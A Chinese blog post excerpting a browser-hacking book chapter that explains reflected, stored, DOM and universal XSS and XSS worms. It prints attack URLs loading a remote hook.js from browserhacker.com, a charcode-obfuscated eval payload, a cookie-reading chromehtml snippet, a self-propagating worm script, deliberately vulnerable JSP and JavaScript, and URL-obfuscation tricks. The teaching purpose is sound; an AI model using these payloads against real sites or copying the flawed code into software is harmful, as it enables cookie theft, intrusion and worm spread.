05月05, 2016

详解跨站点脚本攻击(XSS)

1995年,在网景公司给其Navigator浏览器中引入JavaScript之前,Web内容大多数是静态的HTML。如果网站想改变内容,必须由用户点击链接,向服务器发送一个新的HTTP请求并等待服务器响应。于是就导致了动态语言的诞生。

接着,JavaScript就问世了。就在浏览器支持动态语言后不久,第一批恶意代码注入的案例也随之出现。 最早的报告来自卡内基梅隆大学计算机紧急回应小组协调中心(Computer Emergency Response Team Coordination Center),英文简称CERT/CC,时间是2000年2月。CERT Advisory CA-2000-022记载了因疏忽而意外包含的恶意HTML标签和脚本,以及由于这些恶意代码的执行,用户会受到什么影响。恶意行为最早的形式包括:

  • 对cookie下毒
  • 暴露敏感信息
  • 违背基于来源的安全规则
  • 篡改Web表单
  • 暴露SSL加密的内容

最初的报告把这种攻击描述为通过情况下的“跨站”脚本执行,最终则被称为Cross-site Scripting,简写成CSS。为了避免与简写形式相同的Cascading Style Sheets(层叠样式表)混淆,安全行业遂改称其为XSS。随着时间推移,XSS发展成为使用最广泛的一种攻击手段,因为网页代码中的隐患确实太多了。

一般来说,XSS发生于不可信的内容被处理后,又被按照可信任内容在浏览器中渲染。如果这个内容里包含HTML、JavaScript、VBScript或其他动态内容,浏览器就有可能执行不可信的代码。 举个例子,假如谷歌应用商店存在XSS可以利用的隐患,那么攻击者就可以欺骗用户安装恶意Chrome扩展。实际上,Jon Oberheide在2011年就演示过这种情况。Oberheide演示的对安卓Web市场中XSS隐患的利用曾经轰动一时。如果这个演示是由坏人来干,那么受害人的设备上将被安装上任意应用,并且授权应用访问相应设备的任意权限。

XSS分很多种,但宽泛地说,它们可能会影响浏览器/服务器中的任何一个。很早就有的反射型XSS( Reflected XSS)和持久型XSS(Persistent XSS)是利用服务器端隐患的,而DOM XSS和通用XSS(Universal XSS)利用的则是客户端的缺陷。

当然,也存在服务器端和客户端都有缺陷和隐患的情况。这时候,单方面可能没有问题,但两个方面结合起来,就有可能为XSS提供可乘之机。

与其他安全领域类似,随着我们介绍的攻击方法越来越多,混合使用各种方法的情况也会增多。但考虑到尊重历史和全面了解的学习宗旨,本书会使用以下比较传统和宽泛的XSS分类方式。

1. 反射型XSS(Reflected XSS)

反射型XSS是最常见的XSS,其过程是当不可信用户数据被提交到一个Web应用,然后该数据立即在响应中被返回,也就是说在页面中反射回了不可信内容。由于浏览器看到的是服务器端数据,所以就相信是安全的,于是就会执行它。

与多数XSS一样,反射型XSS受同源策略的限制。这种情况下的隐患在服务器端代码中。下面是一个存在隐患的JSP代码的例子:

<% String userId = request.getParameter("user"); %>Your User ID is <%= userId %>

这行代码接收用户查询参数并将参数内容直接在响应中返回。利用这种隐患很简单,只要在浏览器地址栏内执行以下代码:http://browservictim.com/userhome.jsp?user=<iframe%20src=http:// browserhacker.com/></iframe>。执行后,就会在页面中插入一个地址为browserhacker.com的框架。

同样,要向浏览器中注入远程JavaScript脚本,只需访问以下地址:http://browservictim.com/userhome.jsp?user=<script%20src=http://browserhacker.com/hook.js></ script>。Web应用在处理这个URL时,就会在HTML中返回相应的<script>块。浏览器在接收到响应后,看到其中包含指向远程JavaScript的<script>块,就会在被攻击来源的上下文中执行该脚本。

后面还会介绍,要成功利用这种Web应用的缺陷,需要配合某种程度的社会工程手段。比如,需要提供一个短网址或者模糊后的URL,或者采用其他方法欺骗用户访问你编造的URL。

模糊URL

模糊URL的方法如下:

  • 缩短URL
  • 重定向
  • 采用URL编码或ASCII编码来编码URL
  • 添加一些多余的无关的查询参数,把恶意内容放在中间或后面
  • 在URL中使用@符号以添加伪域名内容
  • 把主机名转换为整数,比如http://3409677458

2. 存储型XSS

存储型(或持久型)XSS与反射型XSS类似,区别在于XSS会持久保存于Web应用的数据存储中。随后,只要是在脚本被持久存储后访问被侵入网站的浏览器,都会执行该恶意代码。对攻击者来说,这种XSS是比较有吸引力的,因为不必每次都煞费苦心地设计链接或者采用社会工程手段,相对一劳永逸了,结果则是比较容易被滥用。

这种攻击通常会利用后端数据库来保存恶意代码,但有时候也可能会使用日志文件。假如Web应用记录日志的程序没有防御XSS的能力,而查看这些日志都要使用基于Web的GUI,那把恶意代码保存于日志就是一种途径。

任何查看这些日志的人都会无意间在自己的浏览器中运行恶意代码。此外,由于通常只有管理员有权限查询日志,因此这些恶意代码往往能够执行敏感或危险的操作。

在上一节中反射型XSS示例的基础上,假设应用也要把用户的显示名称保存起来。比如:

<%
String userDisplayName = request.getParameter("userdisplayname");
String userSession = session.getAttribute("userid");
String dbQuery = "INSERT INTO users (userDisplayName) VALUES(?) WHERE
    userId = ?";
PreparedStatement statement = connection.prepareStatement(dbQuery);
statement.setString(1, userDisplayName);
statement.setString(2, userSession);
statement.executeUpdate();
%>

假设在应用中的某个地方,有代码会提取最后登录用户的列表:

<%
Statement statement = connection.createStatement();
ResultSet result =
    statement.executeQuery("SELECT * FROM users LIMIT 10");
%>
The top 10 latest users to sign up:<br />
<% while(result.next()) { %>
    User: <%=result.getString("userDisplayName")%><br />
<% } %>

那么利用这个漏洞(比如访问这个链接:http://browservictim.com/newuser.jsp?userdisplayname=<script%20src=http://browserhacker.com/hook.js></script>),就能让作为攻击者的你的威力倍增。因为你不是每次只欺骗一个用户,而是一劳永逸地让后续所有访问者都会运行恶意的JavaScript代码。

3. DOM XSS

DOM XSS是一种纯粹的客户端XSS类型,不依赖Web应用处理用户输入时的漏洞。与反射型和存储型XSS相比,DOM XSS只利用客户端代码(如JavaScript)中存在的缺陷。 想象一种场景。某组织想包含一个参数用于设置欢迎消息。但是,这个功能没有添加到服务器端,而是被放到了客户端代码中。这段代码会根据URL中的内容动态修改页面,类似于:

document.write(document.location.href.substr( 
    document.location.href.search( 
    /#welcomemessage/i)+16,document.location.href.length))

这段代码会收集URL的#welcomemessage=x参数之后的文本,其中x可能包含任意字符,最终要写到当前网页中。比如,使用下面的URL:http://browservictim.com/homepage.html#welcomemessage=Hiya, 在JavaScript执行之后,就会在页面主体中插入文本“Hiya”。

那么包含恶意代码的URL就可以是http://browservictim.com/homepage.html#welcomemessage=<script>document.location='http://browserhacker.com'</script>。这样就会把JavaScript脚本插入到DOM里,导致浏览器重定向到http://browserhacker.com。

因为代码只在客户端执行,所以如果不出问题,DOM XSS攻击对服务器通常是不可见的。只要使用片段标识符(#号后面的字符),就可以通过浏览器向Web应用发送(正常情况下)不可能发送的数据。 在攻击字符串位于#号后面的数据中时,恶意数据是依存于浏览器的。对于使用Web应用防火墙作为防御控制的应用来说,这种方法是有效的。此时,请求的恶意部分可能永远不会被Web应用的防火墙发现。

另一种可能被利用的隐患的代码如下所示:

function getId(id){
    console.log("id: " + id);
}

var url = window.location.href;
var pos = url.indexOf("id=")+3;
var len = url.length;
var id = url.substring(pos,len);
eval("getId(" + id.toString() + ")");

把恶意代码注入id参数,就可以利用以上代码。在这个例子中,假设你想注入一个加载和执行远程JavaScript文件的指令。就可以使用下面这个DOM XSS攻击http://browservictim.com/page.html?id=1');s=document.createElement('script');s.src='http://browserhacker.com/hook.js';document.getElementsByTagName('head')[0].appendChild(s);//

有读者可能已经猜到了,上面这行代码不会真正执行,因为其中的单引号字符会导致调用eval()时出错。为此,可以使用JavaScript的String.fromCharCode()方法编码脚本,得到的URL类似如下所示:

http://browservictim.com/page.html?id=1");eval(String.fromCharCode(115,
61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,10 9,101,110,116,40,39,115,99,114,105,112,116,39,41,59,115,46,115,114,99,61 ,39,104,116,116,112,58,47,47,98,114,111,119,115,101,114,104,97,99,107,10 1,114,46,99,111,109,47,104,111,111,107,46,106,115,39,59,100,111,99,117,1 09,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,9 7,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,10 
1,110,100,67,104,105,108,100,40,115,41,59))//

这个例子展示了利用这种XSS时的一个有意思的问题。这种利用形式的前提就是必须在神不知鬼不觉的情况下进行。对于前面的例子,触发用户执行恶意URL的方式有很多,比如通过电子邮件、社交网络的状态更新,或者通过即时消息。

通常,这些URL都会使用http://bit.ly或http://goo.gl等短网址服务缩短,以达到隐藏真实意图的目的。

4. 通用型XSS

通用型XSS是另一种在浏览器中执行恶意JavaScript的方法。某些情况下,这种方法甚至可以不受SOP制约。

现实当中的通用型XSS

以下是一个现实当中非常有意思的通用型XSS的例子。 2009年,Roi Saltzman发现了配合使用Chrome的ChromeHTML URL处理程序,让Internet Explorer加载任意URI的漏洞。

var sneaky = ‘setTimeout(“alert(document.cookie);”, 4000);
document.location.assign(“http://www.gmail.com”);’;
document.location =
"chromehtml:"80%20javascript:document.write(sneaky)"";

在合适的条件下,攻击者就可以在几乎任何源的名义下对目标发动攻击。5比如,前面的JavaScript会将当前位置设置为一个Chrome框架,然后在Gmail加载之后会延迟执行一段脚本。

实际应用中,这种攻击一般会更进一步,除了利用浏览器本身,还可能利用其扩展和插件。第7章将更详细地介绍相关内容。

5. XSS病毒

2005年,Wade Alcorn的一份研究展示了将恶意XSS代码以病毒方式传播的可能性。在Web应用和浏览器具备某种条件的情况下,自传播就可能发生。

这份研究讨论了一种情况,即存储型XSS一旦奏效,有可能导致(受影响源的)后续访问者也会执行恶意JavaScript。结果就是目标浏览器会尝试对其他Web应用执行XSS。相应XSS的攻击代码如下:

<iframe name="iframex" id="iframex" src="hidden" style="display:none">
</iframe>
<script SRC="http://browserhacker.com/xssv.js"></script>

xssv.js文件的内容如下:

function loadIframe(iframeName, url) {
    if ( window.frames[iframeName] ) {
        window.frames[iframeName].location = url;
        return false;
    }
    else return true;
}

function do_request() {
    var ip = get_random_ip();
    var exploit_string = "<iframe name="iframe2" id="iframe2" " +
        "src="hidden" style="display:none"></iframe> " +
        "<script src="http://browserhacker.com/xssv.js"></script>";
        loadIframe("iframe2",
        "http://" + ip + "/index.php?param=" + exploit_string);
}
function get_random(){
    var ranNum= Math.round(Math.random()*255);
    return ranNum;
}

function get_random_ip(){
    return "10.0.0."+get_random();
}

setInterval("do_request()", 10000);

可以看到,这里的JavaScript会定时执行do_request(),这个方法基于loadIframe()方法随机向不同的主机发动XSS攻击,get_random_ip()get_random()函数用于产生随机IP。随后只要访问被修改网页的浏览器,都会依次展开随机攻击。

这种恶意JavaScript自动传播的特点对浏览器来说意味着很多可能性。在Alcorn的演示中,攻击的发起不依赖任何用户交互,只要用户在浏览器中打开网页就够了。打开相应网页的浏览器随后就会执行命令,然后一直继续下去。

攻击代码本身会自动传播并自动终止。但正如后面几章会讲到的,在此期间被执行的恶意活动次数是没有穷尽的。

本文摘自尚未出版的《黑客攻防技术宝典:浏览器实战篇》第1章。 alt

本文链接:http://lisongfeng.cn/post/xss-essentail.html

-- EOF --

Comments

评论加载中...

注:如果长时间无法加载,请针对 disq.us | disquscdn.com | disqus.com 启用代理。